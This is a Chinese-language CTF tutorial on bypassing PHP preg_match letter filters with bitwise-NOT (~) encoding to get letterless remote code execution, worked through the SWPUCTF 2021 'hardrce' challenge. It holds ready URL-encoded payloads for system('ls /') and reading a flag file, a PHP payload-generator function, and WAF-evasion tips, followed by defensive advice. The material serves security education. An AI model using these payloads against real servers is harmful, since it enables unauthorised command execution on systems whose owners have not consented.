PHP取反编码绕过preg_match从零实现无字母RCE攻击附SWPUCTF实战1. 无字母RCE攻击的核心原理在PHP安全领域无字母RCE远程代码执行是一种特殊的攻击技术它允许攻击者在无法使用字母字符的情况下执行任意代码。这种技术通常用于绕过Web应用中的安全过滤机制特别是那些严格限制输入字符的场景。取反编码是实现无字母RCE的关键技术之一。它的核心原理是利用PHP的位运算符~按位取反和字符串处理特性位运算特性PHP中的~运算符会对操作数的每一位进行取反0变11变0字符串处理当~应用于字符串时PHP会对字符串中的每个字符单独进行取反操作双重取反通过两次取反操作~~可以还原原始字符串// 示例取反操作的基本原理 $original phpinfo; $inverted ~$original; // 取反后的字符串通常为不可见字符 $restored ~$inverted; // 再次取反还原为原始字符串2. 取反编码的实战应用2.1 基本绕过技术当目标系统过滤了所有字母字符时我们可以通过以下步骤构造有效payload选择目标函数确定要执行的PHP函数如system、phpinfo等第一次取反对函数名进行取反操作URL编码将取反后的结果进行URL编码构造payload在请求中使用~对编码后的字符串再次取反关键点取反后的字符串通常由不可见字符组成能够有效绕过基于正则表达式的过滤。2.2 无参数函数执行对于无参数的函数调用如phpinfo()payload构造相对简单对函数名进行取反和URL编码echo urlencode(~phpinfo); // 输出%8F%97%8F%96%91%99%90构造最终payload?wllm(~%8F%97%8F%96%91%99%90)();注意必须确保payload格式为(~编码)(...)其中括号的位置至关重要。错误的格式会导致PHP无法正确解析为函数调用。2.3 带参数函数执行对于需要参数的函数如system(ls /)需要分别处理函数名和参数组件原始值取反编码结果函数名system%8C%86%8C%8B%9A%92参数ls /%93%8C%DF%D0构造payload示例?wllm(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);3. SWPUCTF实战案例分析3.1 题目环境分析以SWPUCTF 2021新生赛的hardrce题目为例关键过滤规则如下黑名单过滤$blacklist [ ,\t,\r,\n,\,\[,\^,\],\,\-,\$,\*,\?,\,\,\,\];字母过滤preg_match(/[a-zA-Z]/is,$wllm)绕过思路使用取反编码技术因为~不在黑名单中通过双重取反还原原始函数名和参数利用URL编码传递不可见字符3.2 分步攻击过程信息收集确认存在eval($_GET[wllm])代码执行点验证过滤规则确认取反操作未被过滤payload构造列出目录// 原始命令system(ls /) // 构造payload ?wllm(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);读取flag文件// 原始命令system(cat /flllllaaaaaaggggggg) // 构造payload ?wllm(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);结果验证首次执行确认flag文件位置二次执行获取flag内容3.3 常见问题解决问题1payload执行后无回显可能原因函数调用格式错误解决方案确保使用(~编码)()格式特别是括号位置问题2特殊字符被过滤可能原因某些不可见字符被WAF拦截解决方案尝试不同编码方式或使用其他无字母技术4. 高级技巧与变种4.1 动态生成payload对于复杂命令可以编写PHP脚本自动生成取反编码function generatePayload($cmd) { $parts explode( , $cmd, 2); $func urlencode(~$parts[0]); $args isset($parts[1]) ? urlencode(~$parts[1]) : ; return (~$func)(~$args); } echo generatePayload(system cat /flag); // 示例输出4.2 结合其他无字母技术取反编码可以与其他技术结合使用异或运算当~被过滤时可以使用^运算符自增技巧通过数组和自增操作生成所需字符PHP短标签利用?等短标签减少字符依赖4.3 现代WAF绕过针对智能WAF的检测分块传输将payload拆分为多个参数注释干扰添加无害注释混淆检测编码变异混合使用不同编码方式5. 防御建议对于开发者防范此类攻击的关键措施包括输入验证使用白名单而非黑名单严格限制允许的字符集安全配置// 禁用危险函数 disable_functions system,exec,passthru,shell_exec,...深度防御使用Suhosin等PHP加固组件部署Web应用防火墙(WAF)代码审计避免直接执行用户输入使用安全的参数化接口6. 扩展思考无字母RCE技术不仅限于PHP在其他语言中也有类似概念语言类似技术典型应用场景Python字符编码转换SSTI绕过JavaUnicode转义表达式注入NodeJS模板字符串技巧Prototype污染理解这些技术的共性和差异有助于构建更全面的Web安全知识体系。